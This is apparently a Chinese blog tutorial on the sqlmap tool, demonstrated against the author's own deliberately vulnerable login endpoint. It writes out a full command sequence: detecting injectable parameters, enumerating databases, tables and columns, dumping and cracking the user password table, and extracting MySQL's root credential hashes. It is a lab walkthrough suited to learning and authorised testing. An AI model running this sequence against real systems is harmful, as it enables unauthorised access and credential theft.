1. sqlmap是什么
在這個數據有價的時代數據庫安全已經成為了重中之重,於是就整理了一下最常用的一款(反正我上大學的時候它還是蠻流行的...)數據庫安全方面的滲透測試工具sqlmap的使用筆記。
sqlmap是一個自動化的sql注入滲透工具,指紋檢測、注入方式、注入成功后的取數據等等都是自動化的,甚至還提供了一個字典來將取回來的hash爆破,當然對於真實環境中這爆破功能戰斗力基本為0....
sqlmap是使用python寫的,因此具有跨平台的特性,並且下載下來解壓就可以使用啦,因此下載安裝部分不再介紹。
2. 如何使用
模擬一個真實的場景,我寫了一個有sql注入漏洞的登錄接口作為測試用來練習sqlmap的使用,就拿它開刀來取得一個合法的登錄口令。
step 1. 檢測注入點
首先檢測參數是否可注入:
./sqlmap.py -u "http://192.168.3.64:8080/user/login?username=foo&passwd=bar"
需要注意的是上面的url一定要用引號括起來不然會報錯的。
按照提示一步一步選擇即可,如果覺得選項太多太麻煩可以使用--batch來讓程序自己個選擇:
./sqlmap.py -u "http://192.168.3.64:8080/user/login?username=foo&passwd=bar" --batch
如果可以注入的話,結果應該是類似於這個樣子的:
上面的意思就是發現了兩個注入點,這兩個注入點就是傳入的username和passwd參數。
step 2. 取數據
當手中有了注入點的時候,就相當於是有了這個數據庫的訪問權,接下來把需要的數據取回來即可。
想象一下登錄口令一定存放在某張表下,可是我連這台機器上都有哪些數據庫都不知道該怎么辦呢,--dbs查看數據庫:
./sqlmap.py -u "http://192.168.3.64:8080/user/login?username=foo&passwd=bar" --batch --dbs
我自己機器數據庫有些不可描述的庫,我打了下碼,大致就是這個樣子吧:
我是能看到有哪些數據庫了,但這有毛線用啊,我想知道的是這個應用程序當前使用的數據庫是哪個啊,使用 --current-db:
./sqlmap.py -u "http://192.168.3.64:8080/user/login?username=foo&passwd=bar" --batch --current-db
啊我看到了當前的數據庫是sql_inject_demo,我要趕緊知道這個庫下面都有哪些表:
./sqlmap.py -u "http://192.168.3.64:8080/user/login?username=foo&passwd=bar" --batch -D sql_inject_demo --tables
啊,可惡,忘了多做幾張混淆視聽的表了,在實際環境中一般都會有百八十張表差不多的,但是存儲用戶的一般腦回路正常的都會跟user這個詞沾邊的,所以確定到底是哪個表是用戶表難度還是蠻低的,好了這一關權當放水通過了,接下來我要看這張表中都有哪些字段,因為我需要用戶名和密碼這兩個列的數據,但是首先我得知道存儲這兩個字段的列名字,所以看一下這個用戶表的表結構:
./sqlmap.py -u "http://192.168.3.64:8080/user/login?username=foo&passwd=bar" --batch -D sql_inject_demo -T t_user --columns
呃,好吧,這個表的結構過於簡單,又算是放水了,不過一般存儲用戶名的列都會叫user、username、name之類的,存儲密碼列的都會跟passwd、password、auth之類的沾邊的,如果不確定的話就多取幾列也沒關系的,現在已經確定了字段的名字了,把它拿回來:
./sqlmap.py -u "http://192.168.3.64:8080/user/login?username=foo&passwd=bar" --batch -D sql_inject_demo -T t_user -C 'username, passwd' --dump
這個過程可能會稍微有點慢,因為使用了--batch讓sqlmap對一些詢問的選項自己看着辦,其中有一個檢測到hash詢問是否字典爆破的這貨默認給爆破了,所以可能需要等上好一陣子才能看到結果:
哈,這個時候我們已經得到了想要的東西,一個訪問口令,GET!它就是 admin / admin。
因為我這里設置的是弱口令,所以很快就跑出來了,如果密碼復雜度很高的話可能需要保存下來另外使用專門的爆破工具來搞一搞。
這里有個坑,我開始寫的時候密碼習慣性的加了鹽,然后就跑不出來了,后來注釋掉了,至於加了鹽的密碼該怎么搞我也布吉島....
作為一個有野心的腳本小子,怎么能滿足於只get一個web訪問口令呢,我們都知道mysql的元數據什么的都是存儲在它的一個叫mysql的庫中,包括訪問系統的口令,所以這個時候可以如法炮制,獲得數據庫的訪問口令:
./sqlmap.py -u "http://192.168.3.64:8080/user/login?username=foo&passwd=bar" --batch -D mysql -T user -C 'user, authentication_string' --dump
哈,這么簡單就得到了mysql的root訪問權限....
當然實際環境中不會這么順利啦,這里只是作為一個演示而已。
關於sqlmap的更多選項使用,請查閱官方文檔: https://github.com/sqlmapproject/sqlmap/wiki/Usage
靶子項目代碼地址: https://github.com/CC11001100/sql-inject-demo
參考資料: